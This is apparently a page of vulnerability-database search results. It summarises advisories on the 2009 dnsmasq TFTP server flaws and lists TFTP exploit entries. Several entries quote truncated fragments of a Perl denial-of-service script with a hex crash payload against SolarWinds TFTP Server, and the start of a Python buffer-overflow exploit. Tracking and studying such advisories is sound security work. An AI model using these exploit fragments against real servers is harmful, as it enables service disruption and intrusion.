2242 matches found
RHEL 5 : dnsmasq (RHSA-2009:1238)
An updated dnsmasq package that fixes two security issues is now available for Red Hat Enterprise Linux 5. This update has been rated as having important security impact by the Red Hat Security Response Team. Dnsmasq is a lightweight and easy to configure DNS forwarder and DHCP server. Core...
openSUSE Security Update : dnsmasq (dnsmasq-1241)
This update fixes a buffer overflow in the TFTP server code of dnsmasq. Please note that the TFTP server is disabled by default. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update dnsmasq-1241. T...
Dnsmasq TFTP Service 2.40 - 2.49 Multiple Vulnerabilities
Dnsmasq is prone to a remotely exploitable heap-overflow vulnerability because the software fails to properly bounds-check user-supplied input before copying it into an insufficiently sized memory buffer. Copyright C 2009 Greenbone Networks GmbH Some text descriptions might be excerpted from a...
USN-827-1: Dnsmasq vulnerabilities
IvAin Arce, Pablo HernAin Jorge, Alejandro Pablo Rodriguez, MartAĀn Coco, Alberto SoliAto Testa and Pablo Annetta discovered that Dnsmasq did not properly validate its input when processing TFTP requests for files with long names. A remote attacker could cause a denial of service or execute...
[SECURITY] [DSA 1876-1] New dnsmasq packages fix remote code execution
------------------------------------------------------------------------ Debian Security Advisory DSA-1876-1 [email protected] http://www.debian.org/security/ Florian Weimer September 01, 2009 http://www.debian.org/security/faq -...
dnsmasq security update
CentOS Errata and Security Advisory CESA-2009:1238 An updated dnsmasq package that fixes two security issues is now available for Red Hat Enterprise Linux 5. This update has been rated as having important security impact by the Red Hat Security Response Team. Dnsmasq is a lightweight and easy to...
dnsmasq: multiple vulnerabilities in TFTP server
The tftprequest function in tftp.c in dnsmasq before 2.50, when --enable-tftp is used, allows remote attackers to cause a denial of service NULL pointer dereference and daemon crash via a TFTP read aka RRQ request with a malformed blksize option...
Important: Red Hat Security Advisory: dnsmasq security update
An updated dnsmasq package that fixes two security issues is now available for Red Hat Enterprise Linux 5. This update has been rated as having important security impact by the Red Hat Security Response Team. Dnsmasq is a lightweight and easy to configure DNS forwarder and DHCP server. Core...
SolarWinds TFTP Server 9.2.0.111 Denial Of Service
!/usr/bin/perl SolarWinds TFTP Server newPeerPort = $port,PeerAddr = $host,Proto= 'udp'; $boom= "\x00\x06\x54\x9d\x68\x21\xde\x59\x30\x9a\x0b\xb5\xd4\x94\x94\x42\x3c\xeb\xc5". "\xc1\xe8\x7d\x31\x34\xee\xd8\x60\x41\x8f\x92\x25\x9c\x5c\xcc\x78\x6a"; $tftpudp-send$boom;...
DSA-1876-1 dnsmasq - remote code execution
Bulletin has no description...
Dnsmasq Heap Overflow and Null-pointer Dereference on TFTP Server
1. Advisory Information Title: Dnsmasq Heap Overflow and Null-pointer Dereference on TFTP Server Advisory ID: CORE-2009-0820 Advisory URL:http://www.coresecurity.com/core-labs/advisories/dnsmasq-vulnerabilities Date published: 2009-08-31 Date of last update: 2009-08-31 Vendors contacted: Simon...
SolarWinds TFTP Server <=9.2.0.111 Remote DoS Exploit
Exploit for unknown platform in category dos / poc ===================================================== SolarWinds TFTP Server newPeerPort = $port,PeerAddr = $host,Proto= 'udp'; $boom= "\x00\x06\x54\x9d\x68\x21\xde\x59\x30\x9a\x0b\xb5\xd4\x94\x94\x42\x3c\xeb\xc5"...
SolarWinds TFTP Server DoS
Crash on TFTP requestparsing...
dnsmasq -- TFTP server remote code injection vulnerability
Simon Kelley reports: Fix security problem which allowed any host permitted to do TFTP to possibly compromise dnsmasq by remote buffer overflow when TFTP enabled. Fix a problem which allowed a malicious TFTP client to crash dnsmasq...
SolarWinds TFTP Server 9.2.0.111 - Remote Denial of Service
!/usr/bin/perl SolarWinds TFTP Server newPeerPort = $port,PeerAddr = $host,Proto= 'udp'; $boom= "\x00\x06\x54\x9d\x68\x21\xde\x59\x30\x9a\x0b\xb5\xd4\x94\x94\x42\x3c\xeb\xc5". "\xc1\xe8\x7d\x31\x34\xee\xd8\x60\x41\x8f\x92\x25\x9c\x5c\xcc\x78\x6a"; $tftpudp-send$boom; milw0rm.com 2009-08-31...
SolarWinds TFTP Server <=9.2.0.111 Remote DoS Exploit
SolarWinds TFTP Server =9.2.0.111 Remote DoS Exploit Author: Gaurav Baruah Attached boom.pl Details: TFTP Server Service stops after payload is sent, and has to be started again by going to FileConfigure. App can be downloaded from...
SolarWinds TFTP Server <=9.2.0.111 Remote DoS Exploit
No description provided by source. !/usr/bin/perl SolarWinds TFTP Server =9.2.0.111 Remote DoS Exploit by Gaurav Baruah TFTP Server Service stops after payload is sent, and has to be started again in Config Tested on XP SP3 Big thnx: dragunov Greetz: Sanjay use IO::Socket; $port = "69"; $host =...
SolarWinds TFTP Server 9.2.0.111 - Remote Denial of Service
SolarWinds TFTP Server 9.2.0.111 - Remote Denial of Service !/usr/bin/perl SolarWinds TFTP Server newPeerPort = $port,PeerAddr = $host,Proto= 'udp'; $boom= "\x00\x06\x54\x9d\x68\x21\xde\x59\x30\x9a\x0b\xb5\xd4\x94\x94\x42\x3c\xeb\xc5"...
SolarWinds TFTP Server 9.2.0.111 Option Acknowledgement Request DoS Vulnerability - Active Check
SolarWinds TFTP Server is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only if description...
ProSysInfo TFTP Server TFTPDWIN 0.4.2 Remote BOF Exploit
No description provided by source. !/usr/bin/python ProSysInfo TFTP Server TFTPDWIN 0.4.2 Coded by Wraith import os import sys import struct import socket import time print "\nProSysInfo TFTP Server TFTPDWIN 0.4.2" print "Note: This vuln is sensitive to different buffer length\n" if lensys.argv!=...